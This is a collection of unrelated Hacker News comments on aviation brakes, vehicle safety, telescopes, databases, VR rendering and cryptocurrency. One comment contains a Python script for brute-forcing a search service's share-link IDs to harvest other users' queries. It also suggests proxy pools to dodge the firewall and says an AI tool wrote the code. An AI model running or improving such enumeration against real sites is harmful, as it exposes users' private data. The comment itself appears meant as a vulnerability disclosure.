skysight-inc/HackerNews huggingface dataset:
> Yes, but you'll note that the article you've shared doesn't unequivocally and unambiguously state that only some of the brakes are being disabled: they imply it, with some handwavey talk about redundancy of systems, but they don't specifically say that that's what's actually happening in this specific situation. Whereas when I look at specialist aviation sites, rather than mainstream news, it's clearly stated that what's being talked about is complete disabling of all wheel braking systems.

Original article refers to "leaked memo". There's not a single proof that such memo exists, that it was circulating inside Aeroflot, that it was translated correctly either by the original site or Moscow Times. It could be created for propaganda reasons ("Ukraine has lost counteroffensive, but Russian airplanes will start falling out of the skies!") out of thin air.

> And, yes, aircraft can safely land without brakes (although they might be hard-pressed to safely abort a takeoff). But what happens after that 10-day permitted period the article discusses?

Brake pads would be replaced or the plane wouldn't be allowed to fly. It's not a big problem to buy replacements in China or UAE or some other country. We have no problems buying anything produced in US and EU, although for somewhat higher price than before.

Also, I'm pretty sure that we can produce brake pads domestically. We still have some remnants of the aircraft industry although West fought hard to kill it in the last 30 yars. And making brake pads is not a rocket science. It's pretty simple part even for an airplane.

> and I'm sure it's not beyond the wit of Russian industrial espionage to gain plans, or reverse-engineer (especially with the help of China), and manufacture locally sourced replacement parts

We are talking about brake pads here. It's not like you need to steal some plans to make them. It's basically a metal plate with some abrasive material attached to it. Probably the simplest part of the airplane.
I'm not saying any of this data is wrong but I'm not sure there's any correlation between pedestrian deaths generally and deaths of children in this way. Most of the children hurt/killed in this manner are probably in driveways, parking lots, subdivisions etc. while I would expect most pedestrian deaths to be in more business district type areas, crossing the street, that sort of thing. I would also expect most child deaths to be a result of not seeing them, and most pedestrian deaths to be a result of speed - hence much fewer [adult] pedestrian deaths in driveways.

So I wouldn't expect a rise in pedestrian deaths (particularly over a very short 2 year period which could just be an aberration in the data) to necessarily mean there was a similar rise in child deaths if they happen in fundamentally different circumstances for different reasons.
I’m a hobbyist woodworker. Amongst others, I made this « floating table » : https://www.lairdubois.fr/creations/13006-table-flottante-a-...
Russia to launch first lunar mission in nearly half a century Friday
not industry standard, useless
Is it bending backwards though? The problem is that saas solutions scale in cost as well, so when you grow you pay more. For a small startup, there is always a cut off where the price of the saas service(s) explode well over the utility but you are hooked and you can afford it now. But should you? Personally I enjoy profits and more profits are better. I cannot accept using tools that I don’t really need, but, at success time, I cannot really get rid off anymore easily. And then suddenly that $10/mo is $23k/mo and I knew that when I integrated it in the first place, but thought it will save me 2 hours per year. And the new price utility is not suddenly saving me 100 or more hours a year; more like 4 hours.
Good job although it does not work as well on Firefox mobile as with Chrome (Android), some erratic behavior when clicking on the canvas or resizing with the "red rectangle".
Sudiball telescope mounts

I like visual astronomy and manual pointing (star hopping).
Build a 12.5" Dobsonian (with Dobson) and it was great.

I also love doing public outreach (sidewalk astronomy).
Wanted robust, portable, mount for larger mirrors.
Ball scopes tick many of the desirable trade offs for me
I put a 16" mirror in one and it was a favorite for years.

but balls do have drawbacks,
lack of physical access to back of mirror, poor ventilation,
how to lift into vehicle ...
and they can be stunningly expensive to buy.

Sudiballs are my answer to how to easily construct precise
light weight spherical analogs in the comfort of your own home
with materials lying around.

HN crowd could likely think of them as wire frames of spheres
in meat space.

There are of course many (infinite) ways to choose a wire frame
representation of a sphere.
So we choose one that provides convenience IRL.

The "wires" in the wire frame are the edges of some sheet material
such as plywood cut into arcs.

By following the geometry of an octahedron, three planes (sheet material)
intersect at right angles which (surprise) is exactly what our household
tools saws, drills, routers, lasers etc, are designed to cut.

There are other details to make it work, ensuring the wire frame
is always touching the base at least three points.
Eroding the edges of the edges to be one with the sphere ...

But all doable by you.

[] https://ix.cs.uoregon.edu/~tomc/Hobbies/Astronomy/ATM/index....
For what it’s worth, “violent agreement” is a specific concept—it just means using an argumentative tone when they seem to be agreeing. I’m not actually suggesting you were behaving violently.

I agree that your additional context is important, but it has opened almost every single conversation about race in America for the last 10-30 years. At a certain point, it would be good if we could advanced beyond it because absent the verboten cultural aspect it’s difficult to imagine how these things (particularly those which were officially ended decades ago, like the overwhelming majority of our racist policies) are manifesting as population-level differences in behavior apart from culture. For what it’s worth, we should absolutely release nonviolent drug offenders and repeal any remaining racist laws, but I don’t think anyone is expecting those things alone to solve crime in black communities. Refusing to look at it and shouting “racist” at anyone who does certainly hasn’t worked so far.
> I fear that fovea-tracking will remain scifi dreams in my lifetime, so the reality is we need to render full resolution throughout the field of view to be prepared for where the eye gaze might go in the next frame.

This is not at all true. All of the AVP, the Quest Pro, and the PSVR2 do eye tracking based foveated rending. They lower the clarity of the things you're not looking at. And reviewers say it works perfectly, like magic. They are unable to "catch" the screen adjusting for what they're looking at.
The reason (IMO) that AMD will never make ROCm actually comparable to CUDA is so that they don't have to worry about their gaming GPUs cannibalize their data center GPUs. nVidia is stuck putting tiny VRAM pools onto gaming GPUs so they are less attractive as compute, and AMD doesn't want to put themselves in the same position.

Maybe at one point they wanted to beat CUDA, but they are pretty happy with the feature segmentation now.
The laminated "paper" has microchip in it in most places and codes which can be checked against a central database. It's a good enough standard. In fact better than crypto-chaos.
PayPal launches its own U.S. dollar-backed stablecoin
Can there be some easy to file screen shots on how to disable it for anyone who is not a new user?

Your COO’s wording is that a new user will have to opt in. It seems the major still might have to know where to opt out.
Last time I flew into the US, if I remember correctly, I was required to submit to a facial scan to through customs. I am American.
I hope you are right, as I’d rather not pay any attention to politics. What actions would they have to take before you would become less comfortable with the direction of the country is going? Are you fine with what they have done so far?
I'm a big fan of that practice but I get the impression that rebasing scares a lot of devs that either didn't take the time to learn git or are still recovering from that one time that their change got too far away from mainline. That latter reason is why I prefer the practice actually...
I don't know which companies/CISOs you've worked with but in my experience it's the opposite: CISOs tend to be wary of transferring corp data to 3rd-parties, for both legal/compliance and security reasons. It's generally engineering/IT management that tend to be more wary of self-hosting maintenance.
Very neat! I really like the alignment tools, makes roughing things in quick.

FYI: There's an issue with opacity when you draw ellipses with a different color stroke and reduce the opacity. You start seeing the fill shape behind the stroked outline. There's probably a few ways to fix that, depending on how you implemented it. The easiest might be to shrink the inner shape depending on the stroke width.
I do not think that blog posts have any legal value whatsoever. The current terms of service are too risky for most companies who would otherwise have loved to continue to be users of your product.
You got it at the perfect time, now they're impossible to find and cost $60k if you DO find one available.
That is absolutely not what I took from her response or from the TOS terms. They gave themselves so much wiggle room there that it would take a more generous spirit than myself to assume they mean what you're saying they mean. Congratulations on the half-full glass!

I myself would like them to say something like "you will have to manually opt in both to generative AI and to data collection, and this will not affect end-to-end encryption, and even if someone else in the conversation has opted in to data collection, we have a special, magical way of ensuring that your privacy is still not compromised, and by the way, the above is true in perpetuity".
I used to compile kernels on a 2012 HP quad-CPU, 80 thread machine. It would finish in a minute and a half or so. I got a ryzen 5850 to replace it, it also takes a minute and a half or so - but uses 1/4th the power at the wall. 32 threads vs 80, 250W vs 1000+W
Theoretically, but Gibson made these and it was a real failure in the market to the point they even destroyed a lot of the stock of guitars they couldn't sell.

It might raise from the dead with a non-traditional guitar design like a headless guitar where the mass of the automatic tuners could be hidden inside the guitar body.
I never undertood the fuss with bandwidth and jquery either... it's only 30k once behind mod_deflate. To put it in perspective, vue.global.js is 463k or 104k once gzipped.

There are many reason not to use Jquery for greenfield projects now, but bandwith is not one of them.
Orbs will be open sourced and audited. Long-term they aren't storing anything other than the iris hash.
This seems to be a pretty big thing. Zoom seems to have been adopted by a lot of government processes.

How does this apply for court hearings, council meetings, etc…
Show HN: Doculite – Use SQLite as a Document Database
Hi!

As I was working on a side project, I noticed I wanted to use SQLite like a Document Database on the server.
So I built Doculite. DocuLite lets you use SQLite like Firebase Firestore. It's written in Typescript and an adapter on top of sqlite3 and sqlite.

Reasons:

1) Using an SQL Database meant having less flexibility and iterating slower.

2) Alternative, proven Document Databases only offered client/server support.

3) No network. Having SQLite server-side next to the application is extremely fast.

4) Replicating Firestore's API makes it easy to use.

5) Listeners and real-time updates enhance UX greatly.

6) SQLite is a proven, stable, and well-liked standard. And, apparently one of the most deployed software modules right now. (src: https://www.sqlite.org/mostdeployed.html)

What do you think? Feel free to comment with questions, remarks, and thoughts.

Happy to hear them.

Thanks
Thank you for that link. In case anyone else is wondering, this is a Telegram chat with actual pilots in it. There is currently a lot of cursing in that thread about stupid sensational news on the topic, along with an actual explanation.

Aeroflot is disabling 1 out of 4 brakes, not all 4. Nobody is actually trying to stop a plane with just reverse thrusters.
I made a baseball bat that uses explosives to add a bunch of energy to your swing and hit a baseball really far. It uses the explosive blanks normally used to shoot nails into concrete (e.g. ramset). It worked way better than I expected, didn't have a kick, and turned out to be just a really neat thing to look at while sipping a frosty beverage. I also made a video about it if you're interested: https://youtu.be/Puo6Vgcbxps
Absolutely, it better be a decimal. These numbers in .NET are decimal floating-points, they can represent all these 12.34% without any loss of precision.
It sounds like the Match_recognize clause in SQL:2020, where you can define regex patterns for sequences of rows. It's a pity it's not available in most databases yet
I did early work in mass-spring dynamics while at MIT (1985). My system was developed on a Symbolics Lisp Machine:

https://medium.com/@kaveh808/7-how-to-make-3d-jello-69350751...

I did simple fabric simulations, as well as 3d soft object dynamics.

Followup work in the early 90's on SGI workstations:

https://medium.com/@kaveh808/24-rubbery-cloth-and-numerical-...

All of this cloth and hair development culminated during my tenure as R&D lead on the feature film "Final Fantasy: The Spirits Within". The commercial Syflex system was an offshoot of that development.
Lines 1 and 2 there don't mean different things. They're both attempting to bind/unify `a` with a value. It's just that in the second case, `a` already has a different value, so the binding fails.
> When I read "int a = 1" in C#, I implicitly translate that to "take a 4 byte piece of memory on the stack, and set it equal to 1".

I think that's overspecifying a bit. It could be kept in a register rather than the stack. And due to to the Single Static Assignment transformation that modern optimising compilers do, variables don't correspond exsctly to registers anymore; each time you modify the variable, it becomew a new variable, and then the compiler removes or changes extraneous modifications and dead code. It only keeps track of the values that move through the code. You could really only count on variables corresponding exactly to stack space registers before the SSA form existed.
If you drive a larger vehicle, you are taking on the increased risk of hitting other children or your own children. Whether or not you've actually hit a child doesn't change that fact and trying to wiggle out of it through that logic is the same as arguing just because an irresponsible driver hasn't killed anyone means they're actually safer than an irresponsible driver who has. The fundamental attribution is their irresponsibility, not whether or not their irresponsibility has resulted in a consequence for them.

similarly, regardless of whether or not you've killed anyone with a larger vehicle, the fact is that larger vehicles pose a greater danger of running over children.
I mean it does have a radically different architecture for capturing, predicting, eye movement and updating the foveated rendering profile on the fly to simulate depth planes and, of course, do "real" foveated rendering compared to Quest Pro (one of the patents is below). As well, talking to people who actually used it, said they were blown away by how crisp the text is.

https://www.patentlyapple.com/2023/07/a-new-apple-patent-cov...
Most carmakers don't sell most of their new cars on the order it and it shows up model. They send to dealers and you buy them. Our local dealer has 2 on the lot right now. I live in a small city surrounded by much larger ones. We don't have some exceptional line on new Toyotas.
Interesting. It's comments and conversations like this that keep VIM on my horizon and keep me working to incorporate more of it in my daily practice.

I will say this: customization of shortcuts in VIM does seem easier than in VSC (strictly regarding the context settings I was complaining about in VSC).

Perhaps in time the utility I find in VIM will grow, given enough effort. Cheers.
I confess I assume that we do charge trucks an absurdly larger amount of money? Is why they have weigh stations between states?
C# has basically zero value once you learn F#.
Are you sure?

https://blogs.perficient.com/2017/03/15/does-google-use-chro...
> that's somewhat orthogonal to the matter of how you does your accounting or who issues your tokens. That's just scarcity.

It's always scarcity. That's economics. The currency will fundamentally, potentially permanently, devalue in purchasing power in that context without external support.

> you could burn tokens when the factories are bombed

How many tokens do you burn for a textile versus semiconductor factory? Keep in mind, you are in a war zone, which means no guarantee of safe imports or exports. (Also, whose tokens?)

Managing an economy on a war footing is old business. There is nothing Worldcoin does to even remotely approach giving a semblance of an indication that anyone on their team has actually thought about this, like, once.

> that seems like a lot of extra bookkeeping just to keep two numbers equal

This is, in a nutshell, the problem with anything that purports to maintain its value over long durations of time. Value keeping takes work. We can't meaningfully convert ancient currencies to modern ones because it makes no sense to ask how many days' labour a Roman peasant would trade for an iPhone. These problems are fundamental to the notions of value. They don't have a technical solution. Value is inherently, fundamentally, subjective.
F# is the Scala for .NET.

What about it is lacking?

I'm asking because at one time I was weighing moving to Scala, but the F# algebraic types and compiler seemed more complete.

Is it syntax? that does take some getting used to.
"These groups who are leaving Twitter" are over half the advertisers.

Sucks indeed. My popcorn however is ready for Elon's gradual change of heart as the losses accumulate.
So how hard would it be to brute-force to some share links then?
I have been using this for a lot of searching.Should probably have read the ToS.

But to be fair, it feels way worse to use now than when it came out, so I guess I won't lose much by switching away at this point.

I hate this thing assuming it knows what I want.

Previously it had predictable behaviour, and acted like a slow LLM powered search engine.

Now I do a search and it starts asking me shit. I already tabbed away to three other places to do similar searches and come back to some half baked shit that has nothing to do with what I searched for. Plus I have to wait for it to go and do inference again before I can get to a link?

Why forget all the things that search engines got right over the years, but keep all the shit they got wrong?

https://www.phind.com/agent?cache=cll1bg5np0005l008molmt7d2

import random
import string
import requests

# Static prefix
prefix = "cll1"

# An empty set to store the cache links we've already tried
tried_links = set()

# Website URL
url = "http://target.com/agent?cache="

# Dictionary to store cachelink and its response text
cache_link_dict = {}

while True:
# Generate a random 21 character base 36 encoded string
suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=21))

# Combine the prefix and suffix to create the cache link
cache_link = prefix + suffix

# Continue with a new loop iteration if we've already tried this link
if cache_link in tried_links:
continue

# Add the cache link to our set of tried links
tried_links.add(cache_link)

# Make a request to the website with the cache link
response = requests.get(url + cache_link)

# Store the cachelink and its response text in the dictionary
cache_link_dict[cache_link] = response.text

# Add a delay between requests to avoid overwhelming the server
time.sleep(1)

So it took 17 minutes to use your website to create the code needed to start enumerating these links.

Now given, I am pretty sure a large number of these will return nothing, but I am also willing to bet there are people that put GDPR data into these searches, perhaps a lookup of a phone number, or an address, names?

It would be quite trivial adding in the code to run these requests through a pool of proxies so they don't trigger anything too suspicious on your WAF.

I don't think I'm particularly skilled either, so if I can do this, I'm sure someone already has.
It's more than healthy; it's mandatory.

In the Internet, we have built an unlimited stream of information. You could quit your job and do nothing but post and reply full-time, and you'd never get near being able to respond to every commenter if everyone who read what you wrote chose to comment.

Filtering signal from noise is a vital skill in the online era. And sure, if your filter is over-tight you'll end up in an echo chamber... But as there's no penalty for being wrong on the Internet, a healthy filter is downsampling a lot of information these days.
If the vehicle weights are equal, both families will probably survive. But if they're unequal, the smaller vehicle will suffer more damage.

A sucky arms race.
I would also like to hear some recommendations as I've been considering making a similar switch.
This tool is super straightforward and I just love it. A killer feature to me is the ability to export the canvas source code.
The same, or similar, system was deployed in the USA in 2015. [0]

It appears to still be available, so I assume it is still being used. [1]

[0] http://www.aclu.org/press-releases/federal-appeals-court-rul...

[1] https://www.pss-1.com/how-it-works
Social Learning and Memory
my entire kernel, including all drivers needed for my system except the nvidia blob is 11MB - 10876160 bytes. i don't optimize for size, necessarily, i'm sure i could get it down a lot more if i disabled most of the "default enabled" stuff in a modern kernel that assures it will boot on a majority of systems.
You can opt in for storage of the iris image itself to ensure that further modification of the hash algorithm do not force you to re-scan you eye.
Brazil central bank names its digital currency DREX, scheduled for 2024 launch
Average canadian income is 60k

2 k is a lot for even those at the 50th percentile and extremely significant for those below it.

Min wage earners make about 30k, so that 2k is 6.6% of thier income....
Update: Mayor Watson just shelved the Zilker Vision Plan.
No one is talking anyone into going the MAID route, that's just some far right conservative party bs.

Really, you just engaged in deception and promulgation of propaganda intended to push people toward neofascist ideology.

Shame on you.
As many sex workers point out, the more you push sex work underground, by criminalizing even being around it, the more control "Pimps" and similar folks get. A sex worker can't go to the police or the Labor board if their employer is doing bad or illegal shit.
Looking forward to discussing Graffiti with everyone here!
If you increase the send rate, you need more pipes to send the requests.
You're arguing besides my point. My point is that I don't buy bullshit reasons how a riskier behavior is actually safer. A 50 year old motorcyclist trying to tell me "my age actually makes me safer on a motorcycle than if I was in a car" would get a similar wtf.
fwiw, as someone who identifies as mid to far left, hackernews is not. I like the place for its tech news but not the politics.

and, while I don't know your viewpoints, i promise you I think mine are True and Important as well